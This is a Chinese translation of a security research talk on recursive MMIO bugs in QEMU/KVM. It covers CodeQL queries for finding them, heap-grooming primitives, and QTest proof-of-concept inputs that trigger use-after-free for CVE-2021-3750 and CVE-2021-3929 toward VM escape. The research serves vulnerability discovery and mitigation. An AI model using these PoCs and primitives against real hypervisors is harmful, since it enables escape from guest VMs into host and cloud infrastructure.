递归MMIO导致的虚拟机逃逸研究

admin 2023年2月16日22:05:03评论113 views字数 29967阅读99分53秒阅读模式

来自Black Hat ASIA 2022,Hunting and Exploiting Recursive MMIO Flaws in QEMU/KVM。

hypervisor 处理 MMIO VM-exit 以进行 DMA(Direct Memory Access) 传输时,如果目标与其MMIO 区域重叠,则可能调用相同的MMIO handler。这种错误可能会损坏虚拟设备的状态机,甚至使 hypervisor 崩溃,然而却很少有人花时间研究它们是否可以被利用。

在本文中,我们将介绍我们对QEMU/KVM的安全研究,分析产生递归 MMIO 的根本原因和常见后果,从而揭示了一个新的攻击面,并且我们发现此漏洞对于 Oracle VirtualBox 也是奏效的。我们使用 CodeQL 自动查找缺陷和利用原语。此外,我们将分享我们对于递归 MMIO 漏洞 (CVE-2021-3929)的漏洞利用开发细节 ,最终演示 VM 逃逸。

最后我们将给出一些缓解措施和结论。

 

 一、介绍 

1.1 QEMU/KVM架构

KVM(Kernel-based Virtual Machine)[1]是一个 Linux 内核模块,它使 Linux 的行为类似于一个Type-1[2] 的 hypervisor。借助x86指令集中的虚拟化支持,如Intel VT-x[3]和 AMD-V[4],它可以为各种虚拟机提供CPU、内存和设备硬件虚拟化。
QEMU (Quick Emulator) [5] 是一个可以在两种模式下工作的模拟器。最常见的一种“系统仿真”模式,提供整机(CPU、内存和 IO 设备)来运行 guest OS。在这种模式下,CPU 可以使用动态二进制解析 [6] 达到完全模拟效果,或者它可以与 KVM 等 hypervisor 一起使用以获得更好的表现,也可以使用“用户模式仿真”来模拟单个二进制程序。在本文中,我们只关注“系统仿真”模式。
目前,很多公有云厂商都使用 KVM 和 QEMU 作为他们的虚拟化基础设施。下图展示了带有 QEMU 的 KVM 的高级架构视图:
 
如图1-1所示,虚拟机和 QEMU 运行在不同的线程中。在KVM的支持下,guest OS 可以直接在 host CPU 上执行它的大部分指令。但是当它试图进行 PMIO 或者 MMIO [7] 之类的特殊操作时,它会从 VMX non-root 陷入到 KVM,切换到 VMX root R0,由 KVM 决定如何处理这些VM Exit。大多数时候,KVM 将返回到 VMX root Ring 3 中的 QEMU 并告知 VM Exit 原因,QEMU 随后会模拟相应的设备,并控制 KVM 重新运行 VM。

1.2 QEMU内存

QEMU 中,内存被建模为 AddressSpace  MemoryRegion 对象的非循环图。AddressSpace 表示 CPU 或设备可以看到的空间(不一定能访问),例如x86 CPU 有一个内存空间和一个 I/O 地址空间。每个 AddressSpace 包含一个指向由 MemoryRegions 构造树的指针,它表示 RAM、MMIO 区域和系统中的控制器。下图显示了它们的关系:
 
guest 访问一个地址时,QEMU会从 root 内存区域中搜索地址。首先,它检查地址是否超出范围,然后检查子区域,如果子区域是一个叶子节点(RAM 或 MMIO),则停止搜索并返回这个叶子节点区域。如果子区域是容器或别名,就在子区域内或别名目标处使用相同的算法。
拿到MemoryRegion 叶子节点后,如果是 RAM,会有一个叫 ram_block 的字段指向映射的 host 内存或 host 文件。QEMU 将直接在目标和目的地进行 copy/move。至于像 PMIO 和 MMIO 操作这样的非直接访问,每次读取或写入会回调 MemoryRegion 对象中的 .write 或 .read,大多数的回调将转到设备代码来模拟相关行为。

1.3 MMIO例子

MMIO MemoryRegion 的 .write 和 .read 回调在 MemoryRegionOps 对象中定义在源码hw/net/e1000e.c [9] 中, e1000e_mmio_write() 和 e1000e_mmio_read() 作为 82574 GbE NIC 设备的 MMIO 回调函数:
// qemu/v6.1.0/source/hw/net/e1000e.cstatic const MemoryRegionOps mmio_ops = {    .read = e1000e_mmio_read,    .write = e1000e_mmio_write,    .endianness = DEVICE_LITTLE_ENDIAN,    .impl = {        .min_access_size = 4,        .max_access_size = 4,    },};
如果我们在 write 回调函数 e1000e_mmio_write() 处设置断点并运行 guest 机,gdb 栈回溯如下:
gef➤ bt#0 e1000e_mmio_write at ../hw/net/e1000e.c:110#1 0x000055ed4ee53e7b in memory_region_write_accessor at ../softmmu/memory.c:492#2 0x000055ed4ee540cf in access_with_adjusted_size at ../softmmu/memory.c:554#3 0x000055ed4ee571c0 in memory_region_dispatch_write at ../softmmu/memory.c:1504#4 0x000055ed4eea6f1f in flatview_write_continue at ../softmmu/physmem.c:2777#5 0x000055ed4eea7068 in flatview_write at ../softmmu/physmem.c:2817#6 0x000055ed4eea73e2 in address_space_write at ../softmmu/physmem.c:2909#7 0x000055ed4eea7453 in address_space_rw at ../softmmu/physmem.c:2919#8 0x000055ed4eeb3db6 in kvm_cpu_exec at ../accel/kvm/kvm-all.c:2893#9 0x000055ed4eef5123 in kvm_vcpu_thread_fn at ../accel/kvm/kvm-accel-ops.c:49#10 0x000055ed4f0c2662 in qemu_thread_start at ../util/qemu-thread-posix.c:541#11 0x00007f4ff02bf927 in start_thread at pthread_create.c:435#12 0x00007f4ff034f9e4 in clone at ../sysdeps/unix/sysv/linux/x86_64/clone.S:100
可以看到,MMIO 访问陷入到 KVM 并返回给 QEMU,QEMU 使用 address_space_* API [10] 进行设备访问。在将树状内存模型转换为平面内存模型的操作之后,访问被分派给回调函数。
值得注意的是,MMIO 访问不是在主线程(下面的 id 1)中处理,而是在触发 MMIO 操作的 vCPU 线程(下面的 id 4)中处理。我们稍后将在漏洞利用开发部分中使用此信息。
[#0] Id 1, Name: "qemu-system-x86", stopped 0x7f4ff02bc140 in futex_wait (), reason:BREAKPOINT[#1] Id 2, Name: "qemu-system-x86", stopped 0x7f4ff030fa48 in __GI___clock_nanosleep (),reason: BREAKPOINT[#2] Id 3, Name: "qemu-system-x86", stopped 0x7f4ff02bbff9 in __futex_abstimed_wait_common64(), reason: BREAKPOINT[#3] Id 4, Name: "qemu-system-x86", stopped 0x55ed4eab60f4 in e1000e_mmio_write (), reason:BREAKPOINT[#4] Id 5, Name: "SPICE Worker", stopped 0x7f4ff0342cdf in __GI___poll (), reason:BREAKPOINT────────────────────────────────────────────────gef➤ thread[Current thread is 4 (Thread 0x7f4fe7fff640 (LWP 1697001))]


1.4 环境

在本文中,所有研究均基于以下软件版本:
OS: Ubuntu 21.10Linux: 5.13.0gcc: 11.2.0glibc: 2.34glib: 2.68.4QEMU: 6.1.0VirtualBox: 6.1.26Guest OS: Ubuntu 21.04


 二、递归MMIO 

2.1 根本原因

QEMU/KVM 中,MMIO 是通过 EPT/NPT [43] 拦截内存访问来模拟的,而DMA通常由 memcpy()实现。此外,虚拟设备可以查看和访问它 AddressSpace 中其他设备的内存区域,包括系统 RAM、PCI 设备 RAM(例如,P2PDMA [42])和 MMIO 区域 [11]。由于 guest 可以控制 DMA 的目标地址,当它将 DMA 目标设置为与设备的 MMIO 区域重叠时,在数据传输期间将调用对应的 MMIO 处理程序。
但是,当对 MMIO 的写入操作形成循环(递归 MMIO)时,将会导致一些问题,由 DMA 触发的 MMIO 处理程序可能会对启动 DMA 的设备产生副作用,当控制流返回设备时,可能发生难以预料的错误。
 
如图 2-1 所示,我们将设备 A 的 DMA 目标地址设置为它的复位寄存器的 MMIO 地址,当设备 A 写入它的复位寄存器时,其内部数据结构,如 DMA 数据包,将被全部释放。复位例程返回后,由于 IO 操作尚未完成,释放的数据结构仍会被使用,从而触发 use-after-free。
需要注意的是,如果在 MMIO 处理程序中调用 DMA 操作,则 vCPU 线程的上下文中会发生递归调用。如果在 BH(bottom half)或 timer 中调用 DMA 操作,则在主线程的上下文中会发生递归,我们将在漏洞利用开发部分使用这些信息。
这种现象不仅仅发生在设备直接向自身发起 DMA(只要它形成递归)。例如,我们也可以创建如下图所示的间接递归:设备 A 通过 DMA 调用设备 B 的 MMIO Handler,触发 B 的 DMA 操作,然后B会通过 DMA 触发 A 的 MMIO 处理程序。
 
事实上,这种设备重入漏洞不仅可以通过 DMA 到 MMIO这种方式,还可以通过触发中断实现[12]:设备 A 的 MMIO handler -> 设备 B 触发 IRQ -> 设备 A 的中断处理程序。但由于大多数设备重入漏洞都是由恶意 MMIO(包括 BH 和 Timer)访问引发,并以另一个 MMIO 访问同一设备结束,因此本文仅讨论递归 MMIO 漏洞。

2.2 常见后果

本质上递归 MMIO 打破了设备状态机转换的一致性。因此,根据不同设备的设计和实现,重入造成的危害也不同。我们在这里举三个例子:
危害最高的漏洞是 use-after-free,它通常是由以下模式引起的:写入 MMIO 复位寄存器 -> 释放设备内部数据 -> 使用释放的数据。如果攻击者可以在释放和使用之间占用释放的数据,就有可能造成虚拟机逃逸。
在某些设备中,数据传输大小和数据索引等结构存储在设备的全局变量中,这些数据仅在使用前进行检查,所以攻击者可以在数据传输过程中向 MMIO 寄存器发起 DMA 以修改这些数据,然后会发生越界访问(OOB),攻击者可实现信息泄露或控制流劫持。
设备可能会向 MMIO 寄存器执行 DMA,这将触发相同的 DMA 操作,从而形成无休止的递归调用,攻击者可以利用这个漏洞使 hypervisor 崩溃(递归调用导致栈溢出)。
但是为什么真正的硬件设备没有这样的问题呢?主要原因有以下三个:
大多数硬件电路并行工作,因此设备重入不会发生在 DMA 数据传输过程中。执行 DMA 写操作的模块会在不被中断的情况下完成所有的 IO 操作。但是在QEMU等虚拟化软件中,我们的设备模拟是序列化的,所以中途可以中断 DMA 操作进入另一个设备或者再次进入它自身执行代码,最后再回到中断的地方。
硬件电路没有类似于软件的内存分配器,所以即使硬件受到递归 MMIO 的影响也不会出现类似 虚拟化软件中的 use-after-free 等严重漏洞,并且由于硬件通常难以逆向,因此很难被攻击者利用。
硬件设备的威胁模型不同于虚拟设备。假设攻击者可以控制硬件设备生成递归 MMIO,最坏的情况是宕机,但是控制硬件的权限本身就很高,所以这种攻击并不算严重。但是对于 QEMU 来说,如果 guest 可以控制虚拟设备递归 MMIO 并实现虚拟机逃逸,这将是一个实际的安全性问题。

2.3 VirtualBox

递归 MMIO 是否在其他 hypervisor 中发生?出于好奇,我们对 Oracle VirtualBox 6.1.26 [13] 做了一些探索。
VirtualBox 中,大多数写入物理地址的原语,如 PDMDevHlpPCIPhysWrite()、PDMDevHlpPhysWrite()、dmaR3WriteMemory() 等,结束都会调用 PGMPhysWrite() 。
下面是简化代码:
VMMDECL(VBOXSTRICTRC) PGMPhysWrite(PVMCC pVM, RTGCPHYS GCPhys, const void *pvBuf, size_tcbWrite, PGMACCESSORIGIN enmOrigin){ /* ...... */ PPGMRAMRANGE pRam = pgmPhysGetRangeAtOrAbove(pVM, GCPhys); for (;;) { if (pRam && GCPhys >= pRam->GCPhys) { RTGCPTR off = GCPhys - pRam->GCPhys; while (off < pRam->cb) { /** Normal page? Get the pointer to it.*/ if ( !PGM_PAGE_HAS_ACTIVE_HANDLERS(pPage) && !PGM_PAGE_IS_SPECIAL_ALIAS_MMIO(pPage)) { /* ...... */ } /** Active WRITE or ALL access handlers.*/ else { VBOXSTRICTRC rcStrict2 = pgmPhysWriteHandler(pVM, pPage, pRam->GCPhys + off, pvBuf, cb, enmOrigin); if (PGM_PHYS_RW_IS_SUCCESS(rcStrict2)) PGM_PHYS_RW_DO_UPDATE_STRICT_RC(rcStrict, rcStrict2); }/* ...... */
正如我们所看到的,PGMPhysWrite() 如 MMIO对那样 non-RAM 区域访问,它将调用目标位置的所有 access handler,所以理论上 VirtualBox 也会受到递归 MMIO 的影响。

为了验证我们的猜想,我们编译了 VirtualBox 6.1.26 debug版并运行:

./configure --disable-hardening --build-debugsource ./env.shkmk BUILD_TYPE=debugcd out/linux.amd64/debug/bin/src/makesudo make installsudo rmmod vboxnetflt ; sudo rmmod vboxnetadp ; sudo rmmod vboxdrvsudo insmod vboxdrv.ko; sudo insmod vboxnetadp.ko; sudo insmod vboxnetflt.kosudo chmod 666 /dev/vboxdrv && sudo chmod 666 /dev/vboxdrvu && sudo chmod 666/dev/vboxnetctlcd .. && ./VirtualBox
然后我们将 gdb 附加到 VirtualBoxVM 进程并尝试在 pcnet 设备中触发递归 MMIO。首先,我们在 DevPCNet.cpp:755 处设置断点(例程写入 guest):
static void pcnetPhysWrite(PPDMDEVINS pDevIns, PPCNETSTATE pThis, RTGCPHYS GCPhys, constvoid *pvBuf, size_t cbWrite){ if (!PCNET_IS_ISA(pThis)) PDMDevHlpPCIPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite); else PDMDevHlpPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);}
当程序断在 pcnetPhysWrite() 时,我们将 GCPhys(guest 物理地址)更改为 0xf02000cc(在 pcnet 设备的 MMIO 区域,size = 4k,offset = 0xcc)。然后我们在 DevPCNet.cpp:3952(pcnet 设备的 MMIO 处理程序)处设置另一个断点并取消 pcnetPhysWrite() 中的断点。最后在 gdb 中执行 continue 命令:
Thread 34 "NATRX" hit Breakpoint 1, pcnetPhysWrite (pDevIns=0x7fe7a8008000,pThis=0x7fe7a80082c0, GCPhys=3693277184, pvBuf=0x7fe7a80095f8, cbWrite=64) at/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:755755   if (!PCNET_IS_ISA(pThis))(gdb) list750   *   @param pvBuf Host side buffer address751   *   @param cbWrite Number of bytes to write752   */753   static void pcnetPhysWrite(PPDMDEVINS pDevIns, PPCNETSTATE pThis, RTGCPHYS GCPhys,const void *pvBuf, size_t cbWrite)754   {755     if (!PCNET_IS_ISA(pThis))756       PDMDevHlpPCIPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);757     else758       PDMDevHlpPhysWrite(pDevIns, GCPhys, pvBuf, cbWrite);759   }(gdb) set GCPhys=0xf02000cc(gdb) disable breakpoints(gdb) b DevPCNet.cpp:3952Breakpoint 2 at 0x7fe77cbcd45e: file/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp, line 3952.(gdb) info bNum Type Disp Enb Address What1 breakpoint keep n 0x00007fe77cbc1c59 in pcnetPhysWrite(PPDMDEVINS,PPCNETSTATE, RTGCPHYS, void const*, size_t)at/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:755breakpoint already hit 1 time2 breakpoint keep y 0x00007fe77cbcd45e in pcnetR3MmioWrite(PPDMDEVINS, void*,RTGCPHYS, void const*, unsigned int)at/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:3952(gdb) cContinuing.
程序在 pcnetR3MmioWrite() 处停止,off 变量为 0xcc:
Thread 16 "EMT-0" hit Breakpoint 2, pcnetR3MmioWrite (pDevIns=0x7fe7a8008000, pvUser=0x0,off=204, pv=0x7fe7a80095f8, cb=64) at/home/qiuhao/hack/VirtualBox-6.1.26/src/VBox/Devices/Network/DevPCNet.cpp:39523952   PPCNETSTATE pThis = PDMDEVINS_2_DATA(pDevIns, PPCNETSTATE);(gdb) list3947   /**3948   * @callback_method_impl{FNIOMMMIONEWWRITE}3949   */3950   static DECLCALLBACK(VBOXSTRICTRC) pcnetR3MmioWrite(PPDMDEVINS pDevIns, void *pvUser,RTGCPHYS off, void const *pv, unsigned cb)3951   {3952     PPCNETSTATE pThis = PDMDEVINS_2_DATA(pDevIns, PPCNETSTATE);3953     PPCNETSTATECC pThisCC = PDMDEVINS_2_DATA_CC(pDevIns, PPCNETSTATECC);3954     VBOXSTRICTRC rc = VINF_SUCCESS;3955     Assert(PDMDevHlpCritSectIsOwner(pDevIns, &pThis->CritSect));3956     RT_NOREF_PV(pvUser);(gdb) p/x off$1 = 0xcc
由于 pcnet 设备中不存在偏移量为 0xcc 的寄存器[15],因此我们可以确定这个 MMIO 写操作是由前面的 pcnetPhysWrite() 触发而不是 guest 中的驱动程序,这里证明存在递归 MMIO。
虽然这只是一种人为的验证方式,但我们相信在 guest OS 内部也可以实现类似的效果。由于本文的重点是 QEMU/KVM,我们将其留作未来研究 VirtualBox 和其他 hypervisor 的工作。

 三、使用CodeQL发现漏洞

3.1 递归路径

2.1 节中,我们说过触发递归 MMIO 的常见路径有两种:
1.MMIO handler(vCPU 线程)→ Write-to-Phys-Address API (DMA)→ MMIO handler
2.BH/Timer callback(主线程)→ Write-to-Phys-Address API (DMA)→ MMIO handler
要使用 CodeQL 自动找到这些路径,我们首先需要描述 MMIO handler 和 BH/Timer callback 的特征。至于 MMIO 访问处理程序,它定义在 MemoryRegionOps 中:
// v6.1.0/source/include/exec/memory.h/* * Memory region callbacks */struct MemoryRegionOps {    /* Read from the memory region. @addr is relative to @mr; @size is     * in bytes. */    uint64_t (*read)(void *opaque,                     hwaddr addr,                     unsigned size);    /* Write to the memory region. @addr is relative to @mr; @size is     * in bytes. */    void (*write)(void *opaque,                  hwaddr addr,                  uint64_t data,                  unsigned size); /* ...... */

因此我们可以搜索每个设备的 MemoryRegionOps 对象(全局静态变量)获取 MMIO handler。这里我们省略了 MMIO read handler,因为大多数都无法触发对物理地址的写入:

class MMIOFn extends Function { MMIOFn() { exists(GlobalVariable gv | gv.getFile().getAbsolutePath().regexpMatch(".*qemu-6.1.0/hw/.*") and gv.getType().getName().regexpMatch(".*MemoryRegionOps.*") and gv.getName().regexpMatch(".*mmio.*") and gv.getInitializer().getExpr().getChild(1).toString() = this.toString() ) }}
对于 BH 和 timers,它们是通过调用 qemu_bh_new_full() 和 timer_new_ns() 创建的。回调作为第一个参数和第二个参数传递,所以我们可以在每个设备中搜索这两个函数来获取 BHs 和 timers 的回调:
class BHTFn extends Function { BHTFn() { exists(FunctionCall fc | fc.getTarget().getName().regexpMatch("qemu_bh_new_full|timer_new_ns") and fc.getFile().getAbsolutePath().regexpMatch(".*qemu-6.1.0/hw/.*") and (fc.getChild(0).toString() = this.toString() or fc.getChild(1).toString() = this.toString()) )}}

最后要知道写入物理地址的 API (DMA)函数。在 QEMU 的文档 [10] 中例如 dma_memory_write()、pci_dma_write()、dma_buf_read() 等,实际上它们最后都调用了 address_space_write(): 

递归MMIO导致的虚拟机逃逸研究
为了提高搜索效率,我们在 CodeQL 查询中直接对这些 api 名称字符串进行搜索:
class ReentryFn extends Function { ReentryFn() { this.getName() .regexpMatch("address_space_write|address_space_unmap|dma_memory_set|cpu_physical_memory_unm ap|dma_memory_unmap|dma_memory_write_relaxed|pci_dma_unmap|dma_blk_cb|dma_blk_unmap|dma_memo ry_write|stb_dma|stl_be_dma|stl_le_dma|stq_be_dma|stq_le_dma|stw_be_dma|stw_le_dma|pci_dma_w rite|dma_buf_read|dma_blk_write|stb_pci_dma|stl_be_pci_dma|stl_le_pci_dma|stq_be_pci_dma|stq _le_pci_dma|stw_be_pci_dma|stw_le_pci_dma") }}
然后我们使用 CodeQL [16] 中的 PathGraph 模块来查找所有可能的递归路径。我们需要定义自己的查询谓词(调用关系)以及 node(任意函数):
query predicate edges(Function a, Function b) { a.calls(b) }
最后,我们可以利用 CodeQL [17] 中的传递闭包进行搜索:
/*** @kind path-problem*//* MMIOFn -> ReentryFn */from MMIOFn entry_fn, ReentryFn end_fnwhere edges+(entry_fn, end_fn)select end_fn, entry_fn, end_fn, "MMIO -> Reentry: from " + entry_fn.getName() + " to " + end_fn.getName()/* BHTFn -> ReentryFn */from BHTFn entry_fn, ReentryFn end_fnwhere edges+(entry_fn, end_fn)select end_fn, entry_fn, end_fn, "BH/Timer -> Reentry: from " + entry_fn.getName() + " to " + end_fn.getName()
运行这两个查询后,我们可以得到一些有价值的结果,例如,在 MegaRAID SAS 8708EM2 设备中有一条从 MMIO handler 到 pci_dma_write() 的路径:
并且在 NVMe 控制器中有一条从 timer 的回调到 dma_buf_read() 的路径:


3.2 UAF原语

2.2 节中,我们说了递归 MMIO 缺陷导致的三种常见后果:use-after-free、OOB 访问和栈溢出(DoS)。由于 UAF 通常更容易被利用,所以我们这里只关注这种漏洞。
为了找到所有可能的 UAF,我们需要知道从 MMIO write handler 到 free 函数的路径,与第 3.1 节类似,我们可以使用 CodeQL 完成此操作。
值得注意的是,QEMU 使用 glib (非glibc)的 g_free()[18] 来释放数据结构,但没有 glib 源码,所以在 vscode[19] 解析请求结果时无法显示路径。我们可以通过将 sink node 向后移动来解决这个问题:最后一个 node 由 FunctionCall 描述,而不是 Function。此外,我们应该过滤掉 QEMU 的错误处理程序、测试例程、TCG 和其他不相关模块中的 free 函数。
class FreeFn extends Function { FreeFn() { exists(FunctionCall fc | fc.getTarget().getName().matches("g_free") and fc.getEnclosingFunction() = this and not this.getName().regexpMatch(".*shutdown.*") and not this.getFile() .getRelativePath() .regexpMatch(".*error.*|.*test.*|.*replay.*|.*translate-all.*|.*xen.*|.*qapi-visit.*") ) }}from MMIOFn entry_fn, FreeFn end_fnwhere edges+(entry_fn, end_fn)select end_fn, entry_fn, end_fn, "MMIO -> Free: from " + entry_fn.getName() + " to " +end_fn.getName()
例如,我们可以在 EHCI 控制器中找到从 MMIO write handler 到free函数的路径:
现在我们知道了三种类型的路径:
MMIO handler → Write-to-Phys-Address API (DMA) → MMIO write handler
BH/Timer callback → Write-to-Phys-Address API (DMA) → MMIO write handler
MMIO write handler → reset/free gadget

为了找到可能存在直接递归 MMIO 导致 UAF 的设备,我们可以计算这些路径的交点。例如,如果设备 A 中存在 type-1 和 type-3 路径,则 A 可能存在 UAF 缺陷。
 
在第 4 节中,我们将描述我们发现的一些漏洞。


3.3 Malloc 原语

为了利用 UAF 漏洞,我们必须找到可以在其使用前占用已释放块的 malloc 原语。有两种可能的方法:
1.首先,在控制流从 MMIO 复位处理程序返回之后,将调用 malloc 分配和 free chunk 相同大小的 chunk,然而我们在易受攻击的设备代码中很难找到这样的原语。
2.其次,在同一个设备中替代调用 malloc ,我们可以写入另一个设备的 MMIO 区域,它会分配一个 chunk,然后我们返回有漏洞点的设备,使用已释放但仍被使用的 chunk。由于 scatter-gather DMA [20] 很常见,因此很容易找到执行多个 DMA write 的设备。所以我们选择这种方法。

我们的目标是找到一个可以被 MMIO write 触发的 malloc,并且 guest 可以控制分配 chunk 的内容,最好这个 chunk 的大小也可以控制。根据以往的经验,我们可以推测这个原语具有以下特点:
在分配调用之前肯定有一个 free() ,否则 guest 可以持续分配 chunk 并使 hypervisior 崩溃。
guest 和 host 之间的数据传输通常使用两种数据结构:链表和数组列表。为了获得大小受控的chunk,我们专注于由多个较小单位(预定义结构体、固定大小)组成的数组。
malloc 调用之后应该有一个从 guest 读取内容的动作,这样我们就可以控制 allocated chunk 的内容了。
free() 的参数、read_from_guest() 和 malloc() 的返回值,它们应该是同一个指针。
简而言之,调用模式如下:
g_free(buf) -> buf = g_malloc(constant * nonconstant) -> read_from_guest(buf)
我们只使用前两个特性,malloc 和 free 调用定义如下:
class MallocFc extends FunctionCall { MallocFc() { exists(MulExpr me | this.getTarget().getName().matches("g_malloc") and this.getFile().getAbsolutePath().regexpMatch(".*/hw/.*") and this.getArgument(0) = me and not me.isConstant() and (me.getChild(0).isConstant() or me.getChild(1).isConstant()))}}class FreeFc extends FunctionCall { FreeFc() { this.getTarget().getName().matches("g_free") and this.getFile().getAbsolutePath().regexpMatch(".*/hw/.*")}}
由于 malloc 和 free 调用可能在同一个上下文中,我们不能将 node 定义为 Function 或 BasicBlock,我们应该将它们定义为 ControlFlowNode:
query predicate edges(ControlFlowNode a, ControlFlowNode b) { b = a.getASuccessor() }from MallocFc mallocfc, FreeFc freefcwhere mallocfc.getEnclosingFunction() = freefc.getEnclosingFunction() and edges+(freefc.getASuccessor(), mallocfc.getASuccessor())select mallocfc, freefc, mallocfc, mallocfc.getFile().getRelativePath()
然后我们可以找到多个 free-malloc 对,这里我们观察 intel-hda.c 中的一个原语:
 
static void intel_hda_parse_bdl(IntelHDAState *d, IntelHDAStream *st){ hwaddr addr; uint8_t buf[16]; uint32_t i; addr = intel_hda_addr(st->bdlp_lbase, st->bdlp_ubase); st->bentries = st->lvi +1; g_free(st->bpl); st->bpl = g_malloc(sizeof(bpl) * st->bentries); for (i = 0; i < st->bentries; i++, addr += 16) { pci_dma_read(&d->pci, addr, buf, 16); st->bpl[i].addr = le64_to_cpu(*(uint64_t *)buf); st->bpl[i].len = le32_to_cpu(*(uint32_t *)(buf + 8)); st->bpl[i].flags = le32_to_cpu(*(uint32_t *)(buf + 12));}/* ...... */
如上所示,free-malloc 位于从 guest 获取缓冲区描述符列表 (BDL) 的例程中。guest 可以向列表写入任意内容,并通过 MMIO 写入设置 HDA 的流控制寄存器中的 RUN 二进制位来触发此例程。
并且st->lvi(Last Valid Index)也是由 guest 控制,所以通过调用这个例程,guest 可以分配任意 16*n 字节大小的chuck。
最后比较重要的是 HDA 设备中有八个流/寄存器,这意味着 guest 可以在一个 scatter-gather DMA 到 MMIO session 中调用多个 free 和 malloc ,所以这也是构建堆风水[21]的完美原语。有关 HDA 的寄存器接口的更多信息,请参阅 Intel 的文档 [22]。

 四、案例分析 
4.1 CVE-2021-3750
当 EHCI 控制器传输 USB 数据包时,如果 Buffer Point 在它的 MMIO 区域中,则不会进行检查,因此可以精心构造内容写入控制器的寄存器,并触发 reset 等操作,但此时设备仍在传输数据,从而导致漏洞产生。

以下面为例,我们让 qTD 中的前两个 Buffer Pointer 都指向 MMIO 区域,所以当我们在ehci_execute() 中调用 usb_packet_map() 时,第二个 map 会因为 address_space_map()中的bounce 处于 busy 状态而失败。EHCI 将尝试 unmap 第一个 map 的缓冲区,将 bounce.buffer 写入 MMIO 区域。缓冲区还未初始化,但 ASAN 将用 0xbebebebe 进行填充,从而触发 host 控制器重置 (HCRESET) 并释放正在使用的 qh 和 qtd 结构,引发 UAF。

为了利用该漏洞,攻击者可以首先让 VM 分配一个未初始化的 bounce.buffer(4k),并将 pid 设置为 USB_TOKEN_IN,从而在稍后调用 usb_packet_unmap() 时将未初始化的 chunk 写回guest。由于堆上有数据或函数指针,攻击者可以利用此漏洞绕过 ASLR。此外,如果攻击者在队列被释放之后,在它使用之前设法分配 chunk,则可能会发生 OOB 访问或 RIP 劫持。

我们基于 QTest 编写了一个PoC,可以在 https://qiuhao.org/VD_QEMU_EHCI_CWE-416.txt 查看详细的输出。有关 EHCI/USB 的更多信息,请参阅规范 [23]。
$ cat << EOF | ./build/qemu-system-x86_64 -nodefaults -machine type=q35,accel=qtest-nographic -device ich9-usb-ehci1,id=ich9-ehci-1 -drive if=none,id=usbcdrom,media=cdrom-device usb-storage,bus=ich9-ehci-1.0,drive=usbcdrom -qtest stdio \outl 0xcf8 0x80000810 /* Memory Base Address Register */outl 0xcfc 0xe0000000 /* Set MMIO Address to 0xe0000000 */outl 0xcf8 0x80000804 /* PCICMD--PCI Command Register */outw 0xcfc 0x02 /* Enables accesses to the USB 2.0 registers. */write 0xe0000038 0x4 0x00100000 /* Set Current Async List Address Register to 0x1000 */write 0x00001000 0x4 0x00000000 /* Write Queue Head to 0x1000 */write 0x00001004 0x4 0x00800000 /* Set Head of Reclamation List Flag */write 0x00001010 0x4 0x00200000 /* Set Next qTD pointer to 0x2000 */write 0x00002000 0x4 0x00000000 /* write qTD to 0x2000 */write 0x00002008 0x4 0x80010020 /* Active, IN Token, Transfer 2K bytes */write 0x0000200c 0x4 0x000000e0 /* Set Buffer Pointer (Page 0) to MMIO region 0xe0000000*/write 0x00002010 0x4 0x000000e0 /* Also point to 0xe0000000, map fail and unmap */write 0xe0000064 0x4 0x00010000 /* Start usb reset sequence */write 0xe0000064 0x4 0x00000000 /* Terminate the reset sequence */write 0xe0000020 0x4 0x21000000 /* Asynchronous Schedule Enable, Bit 0: Run */EOF


4.2 CVE-2021-3929

hw/nvme/ctrl.c:nvme_tx() 中,调用 dma_buf_write() 和 dma_buf_read() 不会检查目标区域是否与设备的 MMIO 字段重叠,这会也形成递归 MMIO。如下,调用路径为:nvme_process_sq -> nvme_admin_cmd -> nvme_get_log -> nvme_fw_log_info -> nvme_c2h -> nvme_tx。

CVE-2021-3750 相比,此漏洞更容易被利用。在 nvme_process_sq() 中,触发 nvme_ctrl_reset() 的请求完成后,将调用 nvme_enqueue_req_completion(),其中 cq 的计时器设置为 500ns 后触发,然而 timer 在 复位例程中已经被释放过了,而由于 QEMU 的 timer 中有回调函数,所以 guest 如果能占用被释放的 timer,就可以直接劫持RIP。
static void nvme_enqueue_req_completion(NvmeCQueue *cq, NvmeRequest *req){ /* ...... */ timer_mod(cq->timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + 500);}static void nvme_ctrl_reset(NvmeCtrl *n){ /* ...... */ for (i = 0; i < n->params.max_ioqpairs + 1; i++) { if (n->cq[i] != NULL) { nvme_free_cq(n->cq[i], n); // cq->timer is freed /* ...... */}
我们基于 QTest 编写了一个PoC。更多细节将在第 5 节中讨论。
cat << EOF | ./build/qemu-system-x86_64 -display none -machine accel=qtest -machine q35-nodefaults -drive file=null-co://,if=none,format=raw,id=disk0 -devicenvme,drive=disk0,serial=1 -qtest stdio \outl 0xcf8 0x80000810 /* MLBAR (BAR0) - Memory Register Base Address */outl 0xcfc 0xe0000000 /* MMIO Base Address = 0xe0000000 */outl 0xcf8 0x80000804 /* CMD - Command */outw 0xcfc 0x06 /* Bus Master Enable, Memory Space Enable */write 0xe0000024 0x4 0x02000200 /* Admin Queue Attributes */write 0xe0000014 0x4 0x01004600 /* Controller Configuration */write 0xe0001000 0x1 0x01 /* SQyTDBL - Submission Queue y Tail Doorbell */write 0x00 0x1 0x02 /* cmd->opcode, nvme_get_log() */write 0x18 0x4 0x140000e0 /* prp1 = 0xe0000014, NVME_REG_CC, nvme_ctrl_reset() */write 0x28 0x4 0x03000004 /* cmd->cdw10, lid = 3 nvme_fw_log_info(), len = 4 */write 0x30 0x4 0xfc010000 /* cmd->cdw12, Log Page Offset */clock_stepEOF

4.3 CVE-2021-3947

我们在查看 CVE-2021-3929 时发现了此漏洞,它不是递归 MMIO ,但对于我们利用 CVE-2021-3929 提供了一些帮助。nvme_changed_nslist() 是 hw/nvme/ctrl.c 中的一个函数,用于将日志传输到客户机:
